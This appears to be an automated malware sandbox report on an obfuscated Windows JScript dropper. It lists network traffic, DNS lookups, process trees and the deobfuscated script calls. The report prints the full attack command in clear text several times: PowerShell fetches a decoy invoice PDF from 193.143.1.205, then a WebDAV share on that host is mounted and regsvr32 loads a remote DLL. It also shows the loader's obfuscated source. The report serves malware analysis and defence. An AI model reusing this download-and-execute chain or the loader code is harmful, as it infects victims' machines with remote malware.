Jan 10, 2025 22:51:01.674465895 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.674520016 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.674540997 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.674554110 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.674591064 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.674604893 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.674643040 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.674679041 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.674706936 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.674714088 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.674760103 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.706006050 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.706063032 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.706093073 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.706126928 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.706126928 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.706161976 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.706178904 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.706213951 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.706249952 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.706264973 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.706300020 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.706336021 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.706343889 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.706365108 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.706398964 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.706409931 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.706449032 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.706481934 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.706497908 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.706515074 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.706542969 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.706566095 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.706576109 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.706655979 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.706670046 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.707015038 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.707046032 CET	80	49712	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:01.707071066 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.748050928 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.802066088 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.808939934 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:01.937988997 CET	49712	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:02.362802029 CET	49714	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:02.367649078 CET	8888	49714	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:02.367975950 CET	49714	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:02.367975950 CET	49714	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:02.372797012 CET	8888	49714	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:03.164854050 CET	8888	49714	193.143.1.205	192.168.2.5
Jan 10, 2025 22:51:03.216816902 CET	49714	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:03.224463940 CET	49714	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 22:51:16.672512054 CET	62901	53	192.168.2.5	1.1.1.1
Jan 10, 2025 22:51:16.677340984 CET	53	62901	1.1.1.1	192.168.2.5
Jan 10, 2025 22:51:16.677618027 CET	62901	53	192.168.2.5	1.1.1.1
Jan 10, 2025 22:51:16.682636023 CET	53	62901	1.1.1.1	192.168.2.5
Jan 10, 2025 22:51:17.239969015 CET	62901	53	192.168.2.5	1.1.1.1
Jan 10, 2025 22:51:17.437741041 CET	62901	53	192.168.2.5	1.1.1.1
Jan 10, 2025 22:51:17.442759037 CET	53	62901	1.1.1.1	192.168.2.5
Jan 10, 2025 22:51:17.442821026 CET	62901	53	192.168.2.5	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:51:15.648780107 CET	55403	53	192.168.2.5	1.1.1.1
Jan 10, 2025 22:51:16.672051907 CET	53	63159	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 22:51:15.648780107 CET	192.168.2.5	1.1.1.1	0x3eda	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 22:51:15.656507969 CET	1.1.1.1	192.168.2.5	0x3eda	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:51:16.142085075 CET	1.1.1.1	192.168.2.5	0x2c60	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:51:16.142085075 CET	1.1.1.1	192.168.2.5	0x2c60	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49712	193.143.1.205	80	2000	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:51:00.115294933 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 22:51:00.931404114 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:51:00 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 22:51:00.931457996 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 22:51:00.931471109 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 22:51:00.931531906 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 22:51:00.931600094 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 22:51:00.931612015 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 22:51:00.931622982 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 22:51:00.931633949 CET	1236	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 10, 2025 22:51:00.931740046 CET	1236	IN	Data Raw: d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de 8a 95 eb 55 47 4b 68 Data Ascii: W$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=
Jan 10, 2025 22:51:00.931751966 CET	1220	IN	Data Raw: f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d Data Ascii: \|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY
Jan 10, 2025 22:51:00.989881039 CET	1236	IN	Data Raw: 31 30 30 30 0d 0a 63 aa 7a 67 af 6c ee 35 c3 aa be cf 86 87 4b 7e e7 94 2b 6d 78 d0 64 61 6a d5 b4 da d1 76 66 4a 68 18 6a 0b cf 98 ee 7a b9 e1 50 d3 43 ef dd 09 b6 e9 8d 5a 99 e6 f5 51 a7 7e a6 2f b7 f1 d5 2c cb 95 24 6a 8e 58 35 f9 2c 37 16 9a Data Ascii: 1000czgl5K~+mxdajvfJhjzPCZQ~/,$jX5,7+Bf\|HQf;^Nk2.~k]4?.5nla8Tb+pkZ-}z:C`ItH&7'ilG?Y27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49714	193.143.1.205	8888	7308	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:51:02.367975950 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 22:51:03.164854050 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:51:03 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	16:50:54
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\137112093815427392.js"
Imagebase:	0x7ff6be7f0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:50:55
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll
Imagebase:	0x7ff706190000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:50:55
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:50:55
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:51:00
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	16:51:00
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff706190000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:51:01
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff73d8a0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:51:01
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	16:51:04
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:51:04
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1528,i,15769957039004257077,3334261649853575998,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function gnwuu() {	gnwuu() ➔ undefined
1	sucqp = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var byuishlet = this[pkdavf + zfrapoq + upzqjifhw + roagouq + kpmybirig + wsjurqwi + oroar + wandb] ( this[yismqqmuf + txywicsvp + ggoaamvme + upzqjifhw + pjvvl + pkdavf + wandb][pxpmfd + upzqjifhw + kpmybirig + zfrapoq + wandb + kpmybirig + gidtzt + mongxhizu + dumpf + kpmybirig + ggoaamvme + wandb] ( yismqqmuf + txywicsvp + ggoaamvme + upzqjifhw + pjvvl + pkdavf + wandb + hyasm + txywicsvp + pwrqmelzv + kpmybirig + ozxmvh + ozxmvh ) [kzpzwch + kpmybirig + pnrxf + kzpzwch + kpmybirig + zfrapoq + fauuhbk] ( zzetm + stoxclqp + unitsk + ldddbi + bmvyrpr + pxpmfd + uqfqw + kzpzwch + kzpzwch + unitsk + xsulq + gyxkizefh + bmvyrpr + uqfqw + txywicsvp + unitsk + kzpzwch + bxfwpdboy + pxpmfd + qxuaxszcq + oroar + wandb + upzqjifhw + qxuaxszcq + ozxmvh + oofnm + fcgphiqn + zfrapoq + oroar + kpmybirig + ozxmvh + bxfwpdboy + wsjurqwi + oroar + wandb + kpmybirig + upzqjifhw + oroar + zfrapoq + wandb + pjvvl + qxuaxszcq + oroar + zfrapoq + ozxmvh + bxfwpdboy + mvrhw + qxuaxszcq + ggoaamvme + zfrapoq + ozxmvh + kpmybirig ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( otssciezo = 0 ; otssciezo < sucqp[ozxmvh + kpmybirig + oroar + pnrxf + wandb + pwrqmelzv] ; ++ otssciezo )
4	{
5	if ( byuishlet == sucqp[otssciezo] )
6	{
7	byuishlet = true;
8	break ;
9	}
10	}
11	if ( byuishlet !== true )
12	this[yismqqmuf + txywicsvp + ggoaamvme + upzqjifhw + pjvvl + pkdavf + wandb][lbvfw + fuvrliwrw + pjvvl + wandb] ( );
13	this[yismqqmuf + txywicsvp + ggoaamvme + upzqjifhw + pjvvl + pkdavf + wandb][pxpmfd + upzqjifhw + kpmybirig + zfrapoq + wandb + kpmybirig + gidtzt + mongxhizu + dumpf + kpmybirig + ggoaamvme + wandb] ( yismqqmuf + txywicsvp + ggoaamvme + upzqjifhw + pjvvl + pkdavf + wandb + hyasm + txywicsvp + pwrqmelzv + kpmybirig + ozxmvh + ozxmvh ) [upzqjifhw + fuvrliwrw + oroar] ( ggoaamvme + rwizb + fauuhbk + oofnm + jagajs + ggoaamvme + oofnm + pkdavf + qxuaxszcq + owvrectu + kpmybirig + upzqjifhw + roagouq + pwrqmelzv + kpmybirig + ozxmvh + ozxmvh + hyasm + kpmybirig + ldiwpgit + kpmybirig + oofnm + vgrwcrz + pxpmfd + qxuaxszcq + rwizb + rwizb + zfrapoq + oroar + fauuhbk + oofnm + mxlsgpocv + wsjurqwi + oroar + ofnqlxaa + qxuaxszcq + irjpe + kpmybirig + vgrwcrz + yismqqmuf + kpmybirig + mongxhizu + kzpzwch + kpmybirig + ynhtmj + fuvrliwrw + kpmybirig + roagouq + wandb + oofnm + vgrwcrz + gidtzt + fuvrliwrw + wandb + ailzayz + pjvvl + ozxmvh + kpmybirig + oofnm + oltmk + wandb + kpmybirig + rwizb + pkdavf + oltmk + bxfwpdboy + pjvvl + oroar + ofnqlxaa + qxuaxszcq + pjvvl + ggoaamvme + kpmybirig + hyasm + pkdavf + fauuhbk + lbjbmrd + oofnm + pwrqmelzv + wandb + wandb + pkdavf + inbyfow + jagajs + jagajs + abdolhl + gjwugmgy + iglbxfql + hyasm + abdolhl + tbihxmkj + iglbxfql + hyasm + abdolhl + hyasm + mvafuyquj + tkqasx + zjsmjlh + jagajs + pjvvl + oroar + ofnqlxaa + qxuaxszcq + pjvvl + ggoaamvme + kpmybirig + hyasm + pkdavf + pwrqmelzv + pkdavf + mxlsgpocv + wdsakgkw + wdsakgkw + roagouq + wandb + zfrapoq + upzqjifhw + wandb + oofnm + oltmk + wandb + kpmybirig + rwizb + pkdavf + oltmk + bxfwpdboy + pjvvl + oroar + ofnqlxaa + qxuaxszcq + pjvvl + ggoaamvme + kpmybirig + hyasm + pkdavf + fauuhbk + lbjbmrd + wdsakgkw + wdsakgkw + ggoaamvme + rwizb + fauuhbk + oofnm + jagajs + ggoaamvme + oofnm + oroar + kpmybirig + wandb + oofnm + fuvrliwrw + roagouq + kpmybirig + oofnm + bxfwpdboy + bxfwpdboy + abdolhl + gjwugmgy + iglbxfql + hyasm + abdolhl + tbihxmkj + iglbxfql + hyasm + abdolhl + hyasm + mvafuyquj + tkqasx + zjsmjlh + guvwvklun + iazmncmkr + iazmncmkr + iazmncmkr + iazmncmkr + bxfwpdboy + fauuhbk + zfrapoq + ofnqlxaa + owvrectu + owvrectu + owvrectu + upzqjifhw + qxuaxszcq + qxuaxszcq + wandb + bxfwpdboy + wdsakgkw + wdsakgkw + ggoaamvme + rwizb + fauuhbk + oofnm + jagajs + ggoaamvme + oofnm + upzqjifhw + kpmybirig + pnrxf + roagouq + ofnqlxaa + upzqjifhw + iglbxfql + mvafuyquj + oofnm + jagajs + roagouq + oofnm + bxfwpdboy + bxfwpdboy + abdolhl + gjwugmgy + iglbxfql + hyasm + abdolhl + tbihxmkj + iglbxfql + hyasm + abdolhl + hyasm + mvafuyquj + tkqasx + zjsmjlh + guvwvklun + iazmncmkr + iazmncmkr + iazmncmkr + iazmncmkr + bxfwpdboy + fauuhbk + zfrapoq + ofnqlxaa + owvrectu + owvrectu + owvrectu + upzqjifhw + qxuaxszcq + qxuaxszcq + wandb + bxfwpdboy + abdolhl + mvafuyquj + gjwugmgy + zjsmjlh + zjsmjlh + mvafuyquj + mvafuyquj + tbihxmkj + qjeptolrq + abdolhl + mvafuyquj + gjwugmgy + tkqasx + gjwugmgy + iazmncmkr + hyasm + fauuhbk + ozxmvh + ozxmvh, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll",0,false) ➔ 0
14	}
15	tkqasx = "b";
16	tkqasx = "A";
17	tkqasx = "m";
18	tkqasx = "a";
19	tkqasx = "c";
20	tkqasx = "R";
21	tkqasx = "j";
22	tkqasx = "D";
23	tkqasx = "F";
24	tkqasx = "J";
25	tkqasx = "y";
26	tkqasx = "0";
